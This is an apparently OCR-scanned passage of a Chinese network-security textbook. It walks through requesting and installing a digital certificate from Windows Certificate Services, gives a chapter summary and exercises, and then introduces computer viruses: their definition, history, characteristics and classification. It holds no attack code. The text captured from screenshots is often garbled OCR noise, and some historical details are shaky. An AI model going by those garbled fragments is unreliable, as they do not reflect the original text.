TÒ AK, SAFER. MENARA PEENE. 
状态 ， 正在 完成 群集 服务 的 配置 


图 10-12 正在 配置 组 件 


Microsoft BES Fa) 


a\ eater Se DARSE. WRENS Tene PANDERE SH 


tive Server FE = 


是 四 [ 


图 10-13 ”提示 信息 


Yindows 组 件 向 导 


完成 “Windows 组 件 向 导 ” 


您 已 成 功 地 完成 了 Windows 组 件 向 导 。 


要 关闭 此 向 导 ， 请 单 击 “ 完 成 ”。 


10-14 ”安装 完成 
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图 10-15 “证 书 颁发 机 构 ” 窗 口 


Internet 信息 服务 

EO CASERVER (本 地 计算 机 ) C: WINDOWS \systen32\Cer tSrv 
i) 应 用 程序 池 C: \WINDOWS \systen32\CertSrv\... 
TO Be 


”全 RUE 
HD te 服务 扩展 


图 10-16 IIS 管理 器 


2. 客户 端 申请 数字 证 书 


第 1 步 : 在 浏览 器 中 输入 以 下 网 址 进行 数字 证 书 的 申请 : http://hostname/certsrv 或 


http://hostip/certsrv( 在 IE 地 址 栏 中 输入 证 书 服务 系统 的 地 址 ), 进 入 服务 主页 , 如 
图 10-17 所 示 。 


使 用 此 网 站 为 您 的 Web 浏览 器 ， 电 子 邮 件 客户 端 或 其 他 程序 申请 一 个 证 书 。 通 过 使 用 证 
书 ， 您 可 以 向 通过 Web 通信 的 人 确认 您 的 身份 ， 签 署 并 加 密 邮 件 ， 并 且 ， 根 据 您 申请 的 
证 书 的 类 型 ， 执 行 其 他 安全 任务 。 


您 也 可 以 使 用 此 网 站 下 载 证 书 颁 发 机 构 (CA) 证 书 ， 证 书 链 ， 或 证 书 吊销 列表 (CRL) ， 或 查 
看 挂 起 的 申请 的 状态 。 


有 关 证 书 服务 的 详细 信息 ， 请 参阅 证 书 服务 文档 . 


图 10-17 证 书 申请 页 面 
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第 2 步 : 单 击 “ 申 请 一 个 证 书 ” 超 链接 进入 申请 一 个 证 书页 面 ,如 图 10-18 所 示 。 


Biicrosoft 证 书 服务 - Wicrosoft Internet Explorer 
XH® REO SEO KEW TAD Bho 
QAE- O- NA GPa WR 6) 0-2 B 

HEO fÆ) http: //192. 168. 1. 111/certsrv/cer tr qus. asp 了 | G3 ee | ee > 


主页 


Hicrosoft 证 书 服务 


申请 一 个 证 书 


选择 一 个 证 书 类 型 ; 
+ 
电子 邮件 保护 证 书 


图 10-18 ”申请 一 个 证 书页 面 


第 3 步 : 如 果 证 书 用 作客 户 端 身份 认证 , 则 可 单 击 *Web 浏览 器 证 书 ” 或 “高 级 证 书 申 
请 ”, 一 般 用 户 申请 “Web 浏览 器 证 书 ” 即 可 ,“ 高 级 证 书 申请 ”里 有 更 多 选项 ,也 就 有 很 多 专 
业 术 语 , 高 级 用 户 也 可 单 击 “ 高 级 证 书 申请 ”进入 申请 页 面 进行 申请 。 这 里 以 单 击 申请 “Web 
浏览 器 证 书 ” 为 例 进行 说 明 , 如 图 10-19 所 示 。 


oft 证 书 服务 - Microsoft Internet Explorer 


XG) WE) BFW KAW IAV EMW a 


QAE- O- NAGER seme |o 2B 


Reb 浏览 器 证 书 - 识别 信息 
要 完成 您 的 证 书 ， 在 下 面 的 框 中 输入 要 求 的 信息 。 


电子 邮件 : |email@emailcom 


公司 : |com 
部 门 : [depart 
市 /县 : [GUANGZHOU 
省 : |SUANGDONG 
国家 (地 区 ) : [CN 


区 多 选项 >> 


CEE OTA 


10-19 Web 浏览 器 证 书 识别 信息 填写 
申请 “Web 浏览 器 证 书 ”“ 姓 名 ”是 必 填 项 ,其 他 项 目 可 不 填 , 但 由 于 CA 服务 器 的 管理 
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员 是 根据 申请 人 的 详细 信息 决定 是 否 颁发 的 ,因此 请 尽量 多 填 , 并 且 要 填写 真实 信息 ,因为 
CA 管理 员 会 验证 申请 人 的 真实 信息 ,然后 进行 颁发 。 需 注意 的 一 点 是 ,“ 国 家 (地 区 )” 需 用 


国际 代码 填写 ,CN 代表 中 国 。 如 果 想 查看 更 多 选项 ,请 单 击 “ 更 多 选项 ”按钮 ,如 图 10-20 
所 示 。 


Buicrosoft 证 书 服务 - Hicrosoft Internet Explorer 

TROT KAO SEW KAW TAD Bho 

QM -O- FA G| Dee eer ole a a 

HEW [Æ he tp: //192. 168. 1. 111/certsrv/certrabi. asp?type=0 EE ize » 


Hicrosoft 证 书 服务 一 


Web 浏览 器 证 书 - 识别 信息 


要 完成 您 的 证 书 ， 在 下 面 的 框 中 输入 要 求 的 信息 。 
姓名 : |name1 
电子 邮件 : email@email.com 
公司 : |com 
部 门 : |depart 
市 /县 : [GUANGZHOU 
省 : [GUANGDONG 
国家 (地 区 ) : [on 
更 多 选项 : 
选择 一 个 加 密 服 务 提供 程序 
CSP: | Microsoft Enhanced Cryptographic Provider v1.0 z] 
SaaS 
申请 格式 : © CHC OPKCS10 
如 果 您 需要 一 个 未 在 此 处 列 出 的 高 级 选项 ， 请 使 用 “高 级 证 书 申请 ” 窗 体 。 


Oo 


en rrom —F 
图 10-20 “更 多 选项 ”内容 


在 “更 多 选项 ”里 ,默认 的 CSP 为 “Microsoft Enhanced Cryptographic Provider vl. 0”, 
选择 其 他 CSP 不 会 对 认证 产生 影响 。 上 默认 情况 下 “启用 强 私 钥 保护 ”并 没有 选中 ,建议 将 它 
选中 , 单 击 “ 提 交 ” 按 钮 后 就 会 让 申请 人 设置 证 书 的 安全 级 别 , 如 果 不 将 安全 级 别 设置 为 高 级 
并 用 口令 进行 保护 , 则 只 要 机 器 上 装 有 该 证 书 , 任 何人 都 可 以 用 它 作 为 认证 ,所 以 建议 将 证 
书 设置 为 高 级 安全 级 别 , 用 口令 进行 保护 。 下 面 将 做 相应 操作 , 单 击 “ 提 交 ” 按 钮 ,会 弹出 如 
图 10-21 所 示 的 提示 信息 。 


您 应 该 只 区 许 信任 的 网 站 为 您 请 求证 书 。 


so (Ew 


图 10-21 提示 信息 
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第 4 步 : 单 击 图 10-21 中 的 “是 ”按钮 ,弹出 如 图 10-22 所 示 的 对 话 框 。 


图 10-22 创建 新 的 RSA 交换 密 钥 


第 5 步 : 单 击 * 设 置 安全 级 别 ? 按 钮 ,弹出 如 图 10-23 所 示 的 对 话 框 。 将 安全 级 别 设置 为 
“高 ”, 单 击 “ 下 一 步 ” 按 钮 后 会 弹出 口令 设置 对 话 框 ,如 图 10-24 所 示 。 输 入 口令 ,对 证 书 进 
行 加 密 , 并 记 住 密码 ,因为 在 以 后 调用 该 证 书 的 时 候 ,浏览 器 会 弹出 输入 密码 的 页 面 。 单 击 
“完成 ”按钮 ,弹出 如 图 10-25 所 示 的 对 话 框 。 


正在 创建 新 的 RSA TRE 


图 10-23 ”安全 级 别 设置 


正在 创建 新 的 ESA TRE 


A 10-24 输入 密码 
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[正在 他 建新 的 Esk 交换 密 角 


图 10-25 ”安全 级 别 被 设 成 高 级 


第 6 步 : 单 击 “ 确 定 ” 按 钮 ,浏览 器 页 面 跳 向 如 图 10-26 所 示 的 页 面 。 到 这 一 步 ,申请 人 
已 经 向 CA 服务 器 发 送 证 书信 息 ,并 等 待 CA 管理 员 对 其 进行 核对 ,然后 决定 是 否 要 颁发 ， 
如 果 CA 管理 员 核 对 信息 后 决定 颁发 此 证 书 , 则 申请 人 在 其 颁发 之 后 再 次 访问 该 系统 ,如 
图 10-27 所 示 。 

第 7 步 : 单 击 “ 查 看 挂 起 的 证 书 申请 的 状态 ” 超 链 接 后 出 现 10-28 所 示 的 页 面 ,该 页 面 证 
明 CA 管理 员 已 经 颁发 了 申请 人 的 证 书 , 然 后 进入 证 书 安装 页 面 ,如 图 10-29 所 示 。 

第 8 步 : 单 击 “ 安 装 此 证 书 ” 超 链接 ,会 弹出 如 图 10-30 所 示 的 提示 信息 。 申 请 人 应 该 已 
经 信任 CA 机 构 , 所 以 请 单 击 “ 是 ”按钮 ,证 书 安装 完成 如 图 10-31 所 示 。 

第 9 步 : 如 果 要 找 回 刚才 安装 的 数字 证 书 , 请 单 击 浏览 器 上 的 “工具 ”>“Internet 选项 ”下 
“内 容 ” 一 “证书” 按钮 ,弹出 如 图 10-32 所 示 的 对 话 框 ,此 时 会 发 现 , 在 证 书 个 人 存储 区 内 已 
经 安装 了 刚刚 申请 并 成 功 安装 的 证 书 。 单 击 “ 查 看 ”按钮 ,弹出 如 图 10-33 所 示 的 对 话 框 , 这 
就 是 数字 证 书 了 。 


您 的 证 书 申请 已 经 收 到 。 但 是 ， 您 必须 等 符 管 理 员 颁发 您 申请 的 证 书 。 
您 的 申请 Id 为 2。 

请 在 一 天 或 两 天 内 返回 此 网 站 以 检索 您 的 证 书 。 

注意 : 您 必须 用 此 ved 浏览 器 在 10 天 内 返回 以 检索 您 的 证 书 


图 10-26 证书 挂 起 页 面 
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使 用 此 网 站 为 您 的 Web 浏览 器 ， Esie ie eny ira A 
证 书 。 通 过 使 用 证 书 ， 您 可 以 向 通过 Web 通信 的 人 确认 您 的 身份 ， 签 
署 并 加 密 邮 件 ， 并 且 ， 根 据 您 申请 的 证 书 的 类 型 ， 执 行 其 他 安全 任务 。 


ETA RUER F Se eae NCO: 证 书 链 ， 或 证 书 吊销 
列表 (CRL)， 或 查看 挂 起 的 申请 的 状态 


有 关 证 书 服务 的 详细 信息 ， 请 参阅 证 书 服务 文档 . 
选择 一 个 任务 : 
申请 一 个 证 书 


查看 挂 起 的 证 书 申请 的 状态 


前 人 人 全 生计 让 
2008 年 8 月 19 日 15:54:39 


证 书 已 颁发 
您 申请 的 证 书 已 颁发 给 您 。 


图 10-29 证 书 安装 页 面 
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您 的 新 证 书 已 经 成 功 安 装 。 


图 10-31 成 功 安装 数字 证 书 


图 10-32 “证 书 ” 对 话 框 
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图 10-33 ”查看 数字 证 书 


本 章 小 结 


(1) 随 着 用 户 对 Web 服务 的 依赖 性 增长 ,特别 是 电子 商务 .电子 政务 等 一 系列 网 络 应 
用 服务 的 快速 增长 , Web 的 安全 性 越 来 越 重要 。Web 安全 技术 主要 包括 Web 服务 器 安全 
技术 、Web 应 用 服务 安全 技术 和 Web 浏览 器 安全 技术 。 

(2) 电子 邮件 的 安全 问题 备 受 人 们 关注 ,其 安全 目标 包括 邮件 分 发 安全 ,邮件 传输 安全 
和 邮件 用 户 安全 。 

(3) 身份 认证 是 保护 信息 系统 安全 的 第 一 道 防线 , 它 限制 非法 用 户 访问 网 络 资源 。 常 
用 的 身份 认证 方法 包括 口令 、 密 钥 、 记 忆 卡 智能卡 .USB Key 和 生物 特征 认证 。 

CA) PKI 是 能 够 为 所 有 网 络 应 用 透明 地 提供 采用 加 密 和 数字 签名 等 密码 服务 所 需要 的 
密 钥 和 证 书 管理 的 密 钥 管理 平台 ,是 目前 网 络 安全 建设 的 基础 与 核心 。PKI 由 认证 中 心 
CCA) 证 书库 、 密 钥 备 份 及 恢复 系统 .证 书 作废 处 理 系统 和 应 用 接口 等 部 分 组 成 。 


. 简 述 Web 安全 目标 及 技术 。 

. 电子 邮件 的 安全 目标 是 什么 ? 

. 简 述 电子 邮件 系统 的 组 成 。 

. 简 述 身份 认证 方法 。 

简 述 Kerberos 协议 。 

. 简 述 PKI 的 主要 组 成 部 分 以 及 数字 证 书 的 形式 。 
. 简 述 电子 商务 的 安全 需求 。 

. 说 明 SSL 协议 和 SET 协议 的 异同 。 
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当前 ,计算 机 病毒 已 经 威胁 到 了 各 个 应 用 领域 ,由 此 而 造成 的 破坏 和 经 济 损失 触目 惊 
心 。 在 我 国 ,计算 机 病毒 也 蔓延 得 很 快 ,还 出 现 了 不 少 “ 国 产 " 病 毒 。 在 网 络 普及 率 不 高 的 情 
况 下 ,单机 (尤其 是 个 人 微型 计算 机 ) 上 的 病毒 发 生 率 很 高 。 随 着 计算 机 网 络 的 普及 和 基于 
计算 机 的 信息 系统 的 建立 ,多 机 系统 、 多 用 户 系统 和 网 络 上 病毒 的 案例 逐渐 增加 。 世 界 上 到 
底 有 多 少 种 计算 机 病毒 ,恐怕 谁 也 不 知道 。 因 此 ,我 们 必须 看 到 未 来 ,看 到 计算 机 病毒 已 经 
和 即将 对 我 国 计 算 机 应 用 造成 的 影响 和 破坏 ,需要 更 进一步 地 重视 病毒 技术 和 反 病 毒 技术 
的 研究 ,制定 反 病毒 的 对 策 。 


11.1 计算 机 病毒 概述 


11.1.1 计算 机 病毒 的 概念 


自然 环境 中 的 生物 病毒 具有 个 体 微小 、 无 完整 的 细胞 结构 、 含 单一 核酸 以 及 寄生 并 繁殖 
于 活体 细胞 内 等 特征 。 而 本 书 所 讨论 的 计算 机 病毒 ,不 同 于 自然 环境 中 的 生物 病毒 ,是 一 种 
人 工 编写 的 计算 机 程序 代码 。 

美国 著名 的 计算 机 病毒 研究 专家 F. Cohen 博士 率先 提出 了 * 计 算 机 病毒 "这 一 概念 。 
早 在 1983 年 ,研究 者 们 在 计算 机 病毒 传播 的 研究 报告 中 证 实 了 世界 上 首 例 计 算 机 病毒 ,并 
提出 了 蠕虫 病毒 程序 的 设计 思想 。 美 国人 Thompson 于 次 年 设计 出 了 破坏 UNIX 操作 系 
统 的 病毒 程序 。1988 年 11 月 2 日 ,美国 康 尔 大 学 研究 生 罗 特 。 莫 里 斯 向 Internet 中 投放 
了 蠕虫 病毒 ,这 种 病毒 在 Internet 中 迅速 扩散 ,导致 了 大 批 计算 机 的 瘫痪 ,其 至 波及 众多 的 
欧洲 网 络 用 户 ,造成 了 几 千 万 美元 的 直接 经 济 损失 。 

计算 机 病毒 实际 上 是 一 段 程 序 代 码 。 类 似 自 然 界 中 的 生物 病毒 ,计算 机 病毒 具有 强大 
的 复制 能 力 ,能 够 迅速 地 草 延 到 网 络 上 的 每 一 台 计 算 机 。 病 毒 能 够 将 自己 隐藏 在 各 种 类 型 
的 文件 上 。 当 用 户 复 制 感染 了 病毒 的 文件 后 ,病毒 就 伴随 着 文件 的 副本 草 延 开 来 。 此 外 , 某 
些 计算 机 病毒 能 够 利用 被 污染 的 程序 传送 病毒 的 载体 。 当 用 户 发 现 病毒 载体 似乎 仅仅 表现 
在 文字 或 图 像 上 时 ,它们 可 能 已 经 损坏 了 文件 .再 格式 化 了 用 户 的 硬盘 驱动 器 或 引发 了 其 他 
类 型 的 灾害 。 有 些 计算 机 病毒 危害 性 较 小 ,它们 通过 占据 内 存 空间 降低 了 用 户 的 计算 机 
性 能 。 

可 以 从 多 个 角度 对 * 计 算 机 病毒 ”进行 定义 。 国 外 普遍 接受 的 定义 是 指 一 段 附着 在 其 他 
程序 上 的 能 够 实现 自我 复制 的 程序 代码 。 国 内 学 术 界 存在 以 下 几 种 “计算 机 病毒 ”的 定义 。 
一 种 定义 是 通过 磁盘 、 磁 带 和 网 络 等 媒介 传播 ,能 “感染 ”其 他 程序 的 计算 机 程序 。 男 一 种 定 
义 是 可 以 实现 自身 复制 并 且 借 助 一 定 的 载体 存在 的 具备 潜伏 性 、 传 染 性 和 破坏 性 的 程序 。 
还 有 一 种 定义 是 人 工 设计 的 计算 机 程序 , 它 通过 不 同 的 途径 潜伏 在 存储 媒体 或 程序 中 , 当 具 
备 某 种 条 件 或 时 机 时 , 它 会 自身 复制 并 传播 ,使 计算 机 资源 受到 不 同 程度 的 破坏 等 。 计 算 机 
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病毒 类 似 生 物 病 毒 ,能 够 入 侵 网 络 中 的 计算 机 系统 ,危害 正常 工作 的 计算 机 。 它 可 以 破坏 网 
络 中 的 计算 机 系统 , 即 具有 破坏 性 ; 同时 可 以 复制 自身 , 即 具有 传染 性 。 因 此 ,计算 机 病毒 
就 是 可 以 通过 特定 途径 潜伏 在 计算 机 存储 介质 (或 程序 ) 中 , 当 某 种 条 件 具 备 时 即 被 激活 的 ， 
具有 对 计算 机 资源 进行 破坏 作用 的 一 组 程序 或 指令 集合 。 

在 《中华 人民 共 和 国 计 算 机 信息 系统 安全 保护 条 例 ) 中 明确 定义 ,计算 机 病毒 是 指 “ 编 制 
或 者 在 计算 机 程序 中 插入 的 破坏 计算 机 功能 或 者 破坏 数据 ,影响 计算 机 使 用 并 且 能 够 自我 
复制 的 一 组 计算 机 指令 或 者 程序 代码 ”。 

在 这 里 需要 指出 计算 机 病毒 也 是 一 个 程序 或 者 说 是 一 段 可 执行 的 代码 。 而 这 个 程序 或 
者 可 执行 代码 对 计算 机 功能 或 者 存储 在 计算 机 中 的 数据 具有 破坏 性 ,并且 具 备 传播 性 、 隐 茂 
HE AT BH ETRE. 


11.1.2 计算 机 病毒 的 特征 


一 般 正 常 的 程序 执行 过 程 : 用 户 调用 程序 一 系统 分 配 程序 所 需 的 资源 一 程序 完成 用 户 
安排 的 任务 ,计算 机 用 户 明 确 地 知道 正常 程序 的 运行 目的 。 与 此 不 同 ,计算 机 病毒 执行 过 
程 : 感染 正常 程序 正常 程序 运行 时 ,窃取 系统 控制 权 一 在 正常 程序 运行 前 执行 病毒 代码 ， 
计算 机 用 户 不 知道 甚至 不 允许 病毒 的 运行 。 计 算 机 病毒 的 主要 特征 如 下 。 

1. 破坏 性 

计算 机 病毒 攻击 计算 机 系统 后 ,会 对 计算 机 系统 和 其 中 的 应 用 程序 产生 一 定 程度 的 破 
坏 。 良 性 病毒 对 计算 机 系统 产生 的 破坏 性 轻微 ,可 能 只 显示 些 搞笑 图 片 或 无 意义 的 语句 以 
及 发 出 嘟 嘟 声 等 ,只 会 白白 浪费 计算 机 的 资源 。 恶 性 病毒 的 危害 目的 明确 ,或 破坏 磁盘 数 
据 、 删 除 磁盘 文件 或 非法 加 密 磁 盘 ,非法 格式 化 磁盘 ,有 的 恶性 病毒 会 对 磁盘 数据 造成 无 法 
恢复 的 破坏 。 

凡是 正常 程序 能 够 接触 到 的 计算 机 资源 都 有 可 能 遭 到 计算 机 病毒 的 破坏 ,病毒 破坏 计 
算 机 资源 的 表现 : 耗费 CPU 时 间 和 内 存 资 源 ,从 而 阻塞 正常 的 进程 ; 破坏 计算 机 系统 中 的 
数据 或 文件 ; 打 乱 计算 机 屏幕 的 正常 显示 内 容 等 。 

2. 隐蔽 性 

病毒 的 设计 者 往往 将 计算 机 病毒 设计 得 短小 精 悍 ,然后 将 它们 隐藏 到 正常 程序 中 ,这 样 
病毒 程序 和 正常 程序 通常 不 易 区 分 。 如 果 计 算 机 系统 没有 安装 反 病毒 软件 ,那么 计算 机 病 
毒 程序 就 很 容易 取得 系统 的 控制 权 , 此 后 病毒 可 以 在 短 时 间 内 传染 大 量 的 计算 机 程序 。 另 
外 ,尽管 计算 机 系统 已 经 感染 了 病毒 ,但 是 系统 中 的 程序 仍然 能 够 正常 运行 ,这 种 假象 对 计 
算 机 用 户 来 说 具有 很 强 的 欺骗 性 。 试 想 , 如 果 计算 机 系统 感染 病毒 后 就 无 法 正常 运转 ,那么 
这 种 病毒 也 就 无 法 传染 其 他 的 计算 机 了 。 计 算 机 病毒 在 用 户 毫 不 知情 的 情况 下 轻易 地 传播 
到 其 他 的 计算 机 中 , 正 是 得 益 于 其 良好 的 隐蔽 性 。 病 毒 代码 设计 得 越 简 练 ,其 隐蔽 性 也 就 越 
强 。 大 多 数 病毒 代码 一 般 只 有 几 百 字 节 ,而 计算 机 的 数据 处 理 速 度 很 快 ,将 这 区 区 几 百 字 节 
代码 添加 到 正常 程序 之 中 ,计算 机 根本 无 法 察觉 。 一 些 高 水 平 的 病毒 设计 者 抓 住 了 这 一 特 
点 ,将 病毒 程序 夹杂 在 大 量 的 正常 程序 中 ,计算 机 也 很 难 发 现 这 些 非 法 行为 。 

3. 潜伏 性 

为 了 大 范围 地 破坏 计算 机 ,多 数 病毒 在 成 功 入 侵 计 算 机 系统 后 长 期 地 隐藏 在 那里 , 待 到 
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特定 的 条 件 满足 后 才 会 破坏 被 感染 的 计算 机 系统 。 例 如 ,病毒 "PETER-2? 在 感染 计算 机 系 
统 后 ,在 每 年 2 月 27 日 会 向 计算 机 用 户 提出 3 个 问题 ,如 果 该 用 户 回 答 错误 ,病毒 就 会 非法 
地 将 计算 机 硬盘 加 密 。 病 毒 < 黑色 星期 五 选择 在 每 月 13 号 又 恰 逢 星期 五 时 爆发 ,导致 大 量 
的 计算 机 次 疯 。 国 内 的 “上 海 一 号 ?病毒 会 选择 在 每 年 3 月 .6 月 .9 月 的 第 13 REE., 
然 , 最 令 人 难忘 的 便 是 每 年 的 4 月 26 日 ,届时 大 批 计算 机 将 因为 CIH 病毒 发 作 而 瘫痪 , 计 
算 机 用 户 们 不 得 不 通过 更 改 系 统 日 期 的 方法 躲 过 此 动 。 在 平时 这 些 病毒 不 会 干扰 计算 机 系 
统 的 正常 运转 ,只 有 在 发 作 日 病毒 才 会 对 计算 机 造成 灾难 性 的 破坏 。 

4. 传染 性 

传染 性 是 计算 机 病毒 的 一 个 重要 特征 。 病 毒 通过 修改 正常 程序 的 代码 ,将 自身 的 副本 
添加 到 正常 程序 中 ,从 而 达到 传播 的 目的 。 正 常 的 计算 机 程序 一 般 不 会 将 自身 的 副本 强行 
添加 到 其 他 程序 中 ; 而 病毒 却 可 以 通过 非法 的 途径 将 自身 的 副本 强行 添加 到 一 切 符合 其 传 
染 条 件 的 未 受到 传染 的 程序 之 上 。 此 外 ,病毒 还 可 以 通过 各 种 媒介 ,如 U 盘 、 光 盘 和 计算 机 
网 络 传播 给 别 的 计算 机 。 当 用 户 在 一 台 计 算 机 上 检测 到 病毒 的 时 候 ,这 就 意味 着 曾经 和 这 
台 计 算 机 连接 过 的 U 盘 也 已 经 被 病毒 感染 ,而 和 这 台 计 算 机 处 于 同一 局 域 网 的 其 他 计算 机 
或 许 也 中 病毒 了 。 因 此 ,传染 性 的 特征 成 为 认定 一 段 代码 是 否 为 计算 机 病毒 的 首要 条 件 。 

被 病毒 传染 的 程序 能 够 成 为 病毒 传播 的 媒介 ,就 类 似 流感 一 般 , 能 够 在 人 际 间 进 行 传 
播 。 当 用 户 发 现 正常 程序 的 文字 或 图 像 出 现 异常 现象 时 ,病毒 可 能 已 经 损坏 了 用 户 硬盘 上 
的 数据 文件 ,甚至 会 引发 其 他 类 型 的 灾害 。 即 使 是 良性 病毒 ,虽然 它们 对 计算 机 系统 的 危害 
有 限 , 但 是 它们 仍然 能 够 占据 内 存 空间 ,甚至 降低 计算 机 系统 的 性 能 。 在 传播 方式 上 ,计算 
机 病毒 和 生物 病毒 类 似 ,这 也 是 “计算 机 病毒 "名 称 的 由 来 。 

5. 不 可 预见 性 

对 众多 的 反 病毒 软件 而 言 , 计 算 机 病毒 还 有 不 可 预见 性 。 不 同 的 病毒 设计 者 ,他 们 设计 
的 病毒 代码 千差万别 ,不 同类 别 的 病毒 会 执行 某 些 共有 的 操作 ,如 常 驻 内 存 、 修 改 中 断 等 。 
有 些 人 通过 研究 病毒 的 共同 特征 ,编制 出 来 能 够 检测 所 有 病毒 的 程序 。 在 实验 环境 中 ,这 种 
程序 成 功 地 检测 到 了 一 些 新 型 病毒 ,但 由 于 目前 的 软件 种 类 繁多 ,并 且 某 些 正 常 程 序 也 应 用 
了 类 似 病 毒 的 操作 。 借 鉴 这 种 思想 开发 的 反 病毒 软件 势必 存在 误 检 率 高 的 缺陷 ,同时 病毒 
的 制作 技术 也 在 不 断 地 发 展 , 所 以 计算 机 病毒 总 是 先 于 反 病毒 软件 出 现 的 。 


11.1.3 计算 机 病毒 的 分 类 


随 着 计算 机 网 络 应 用 的 不 断 普及 ,网 络 中 病毒 的 种 类 也 在 快速 地 增长 。 国 外 的 调查 报 
告 显示 ,每 周 网 络 上 新 增 10 种 计算 机 病毒 。 另 外 ,根据 我 国 公安 部 的 统计 ,国内 每 月 新 增 
4 一 6 种 新 型 病毒 。 目 前 ,针对 计算 机 病毒 的 分 类 存在 多 种 分 类 方法 。 同 一 种 病毒 可 能 同时 
具备 多 种 特征 ,因此 在 病毒 分 类 上 会 产生 交叉 。 

1. 根据 计算 机 病毒 侵入 的 操作 系统 来 划分 

(1) 侵入 DOS 操作 系统 的 病毒 。 这 类 病毒 出 现 最 早 , 它 们 往往 选择 单独 的 计算 机 作为 
攻击 目标 。 随 着 计算 机 网 络 的 普及 ,它们 慢 慢 地 淡出 了 人 们 的 视野 。20 世纪 80 一 90 年 代 ， 
“小 球 ” 病 毒 “ 大 麻 ” 病 毒 以 及 “黑色 星期 五 ”病毒 等 都 是 常见 的 DOS 病毒 。 

(2) 侵入 Windows 操作 系统 的 病毒 。20 世纪 90 年 代 , 从 Windows 95 到 Windows 98, 
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计算 机 开始 在 中 国 迅 速 地 普及 。 与 此 同时 ,Windows 病毒 便 开始 像 瘟疫 一 样 广 泛 地 流行 开 
来 。 自 名 昭著 的 CIH 病毒 便 是 Windows 病毒 家 族 中 的 一 员 。 

(3) 侵入 UNIX 操作 系统 的 病毒 。 当 前 ,UNIX 操作 系统 应 用 十 分 广泛 ,许多 大 型 的 管 
理 信息 系统 都 采用 UNIX 作为 其 操作 系统 。 这 样 ,侵入 UNIX 操作 系统 的 病毒 就 出 现 了 ， 
而 它们 的 危害 性 往往 非常 巨大 。 

(4) 侵入 OS/2 操作 系统 的 病毒 。 最 初 ,Microsoft 和 IBM 公司 共同 研发 OS/2 操作 系 
统 。 此 后 ,Microsoft 退出 OS/2 操作 系统 的 研发 工作 ,IBM 最 终 完成 了 这 项 任务 。OS/2 是 
“Operating System/2” 的 缩写 ,是 因为 该 系统 作为 IBM 第 二 代 个 人 计算 机 PS/2 系统 产品 
的 理想 操作 系统 引入 的 。 

不 久 ,IBM 公司 对 外 宣布 自 2005 年 12 月 23 日 起 ,停止 销售 和 支持 OS/2 系统 。OS/2 
的 支持 者 要 求 IBM 公司 公开 OS/2 的 源 代码 ,尽管 当时 OS/2 仍然 占有 部 分 市 场 。IBM 公 
司 委婉 地 拒绝 了 OS/2 支持 者 的 请 求 , 并 声称 自 2006 年 起 ,除非 他 们 进行 特殊 的 预约 ,否则 
将 得 不 到 进一步 的 技术 支持 。 同 时 ,IBM 公司 决定 在 2006 年 12 月 23 日 停止 OS/2 所 有 产 
品 的 销售 ,而 多 任务 操作 系统 不 久 也 会 停止 销售 ,公司 将 主要 业务 向 Linux 操作 系统 转移 。 
对 IBM 公司 来 说 ,这 是 个 不 错 的 决策 ,因为 OS/2 及 其 相关 产品 已 经 销售 了 20 多 年 ,但 从 
OS/2 Presentation Manager 到 Warp, 每 一 款 产 品 都 受到 了 微软 同类 产品 的 挤 压 。 

OS/2 在 随后 的 版 本 中 也 引入 了 线性 可 执行 文件 (Linear eXecutable) 格 式 。 在 这 种 文 
件 格式 上 运行 的 病毒 不 太 多 ,如 OS2/Myname 病毒 。 这 种 病毒 巧妙 地 使 用 了 一 些 系统 调 
用 ,如 DosFindFirst() ,DosFindNext()、DosOpen()、DosRead() 和 DosWrite() ,来 定位 可 执 
行文 件 ,然后 用 自身 重 写 这 些 可 执行 文件 。 这 种 病毒 仅 在 当前 目录 中 寻找 扩展 名 为 . exe 的 
文件 ,在 感染 之 前 并 不 识别 OS/2 线性 可 执行 文件 ,仅仅 是 用 自己 的 副本 来 重 写 所 有 的 文 
件 。 尽管 如 此 ,OS2/Myname 病毒 的 执行 过 程 证 实 , 这 种 病毒 具备 线性 可 执行 文件 的 格式 ， 
同时 说 明 这 种 病毒 依赖 OS/2 操作 系统 的 环境 。 

2. 根据 计算 机 病毒 的 链接 方式 来 划分 

(1) 源 代码 病毒 。 这 种 病毒 针对 高 级 语言 (C 语言 ,VB 语言 等 ) 编 写 的 程序 。 病 毒 编写 
者 蓄意 将 该 病毒 代码 插入 高 级 语言 所 编写 的 源 代码 中 ,病毒 代码 经 过 编译 后 将 构成 合法 程 
序 的 一 部 分 。 

(2) 嵌入 型 病毒 。 这 种 病毒 将 自身 嵌入 到 正常 程序 中 , 换 句 话 说 ,病毒 的 主体 程序 与 其 
侵入 的 程序 以 插入 的 方式 进行 链接 。 

(3) 外 壳 型 病毒 。 这 种 病毒 并 不 修改 正常 程序 ,而 将 自身 像 外 壳 一样 包 襄 在 正常 程序 
周围 , 故 因此 而 得 名 。 这 种 病毒 包含 的 技术 含量 不 高 ,初学 程序 设计 的 人 即 可 编写 。 这 种 病 
毒 会 改变 正常 文件 的 大 小 ,因此 通过 测试 文件 大 小 的 方法 即 可 将 此 病毒 查 出 。 

(4) 操作 系统 型 病毒 。 这 种 病毒 破坏 力 很 强 ,可 以 导致 整个 计算 机 操作 系统 瘫痪 。 该 
病毒 的 攻击 机 理 是 用 预先 编写 好 的 病毒 代码 加 入 或 代替 部 分 操作 系统 代码 进行 工作 。 这 种 
病毒 的 典型 代表 是 圆 点 病毒 和 大 麻 病 毒 .它们 会 严重 地 破坏 操作 系统 。 

3. 根据 计算 机 病毒 的 传染 对 象 来 划分 

计算 机 病毒 具有 传染 性 的 本 质 属性 ,于 是 根据 计算 机 病毒 的 传染 方式 进行 划分 ,病毒 包 
括 以 下 几 种 。 
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(1) 磁盘 引导 型 病毒 。 磁 盘 引导 区 传染 的 病毒 是 用 自身 的 部 分 或 全 部 逻辑 来 蔡 代 正 常 
的 引导 记录 ,同时 将 正常 的 引导 记录 隐藏 在 磁盘 的 其 他 区 域 。 由 于 计算 机 读 取 磁盘 首先 要 
读 取 其 引导 区 ,因此 这 种 病毒 在 运行 之 初 (如 系统 启动 时 ) 就 能 轻易 地 获得 计算 机 的 控制 权 ， 
其 传染 性 很 强 。 由 于 在 磁盘 引导 区 内 存储 着 磁盘 使 用 的 重要 信息 ,因此 如 果 磁 盘 上 被 隐藏 
的 正常 引导 记录 没有 及 时 地 得 到 保护 ,那么 在 磁盘 写 入 的 过 程 中 正常 引导 记录 就 会 被 破坏 。 
这 类 病毒 很 多 ,如 “大 麻 " 病 毒 和 “小 球 " 病 毒 。 

(2) 操作 系统 型 病毒 。 计 算 机 操作 系统 由 扩展 名 为 . sys、. exe 和 . dll 等 多 种 可 执行 程 
